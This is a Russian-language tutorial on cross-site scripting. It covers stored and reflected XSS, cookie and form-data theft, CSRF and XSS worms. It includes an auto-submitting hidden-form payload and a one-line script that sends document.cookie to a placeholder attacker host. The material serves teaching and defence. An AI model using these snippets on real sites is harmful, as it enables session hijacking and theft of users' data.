XSS
Исключительно в целях ознакомления!
Межсайтовый скриптинг(сокращённо XSS)- широко распространённая уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.
Типы XSS уязвимостей
Существует два типа XSS уязвимостей: пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection).
Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пассивная уязвимость- тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да ещё и не факт, что жертвы окажутся наивными и перейдут по вашей ссылке.
При чём пассивной уязвимости могут быть подвержены как POST, так и GET-параметры. С POST-параметрами, понятно, придётся идти на ухищрения. Например, переадресация с сайта злоумышленника.
<form method="post" action="http://site.com/page.php"> <input type="hidden" name="var" value="<script>alert('xss')</script>"> </form> <script type="text/javascript"> document.getElementsByTagName('form')[0].submit(); </script>
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража Cookies
Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть <iframe>, <img>, <script>, background:url(); и т.п.
Кража данных из форм
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введённые данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака
XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
<img src="http://site.com/">
Подделка межсайтовых запросов (CSRF/XSRF)
Также имеет косвенное отношение к XSS. Вообще, это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определённых действий.
Грубо говоря, в идеале это должно быть так: пользователь авторизировался в системе платежей. Потом зашёл на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счёт злоумышленника.
Поэтому большинство сайтов при совершении определённых действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.
XSS-черви
Этот тип атаки появился, наверное, благодаря соц.сетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соц.сети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.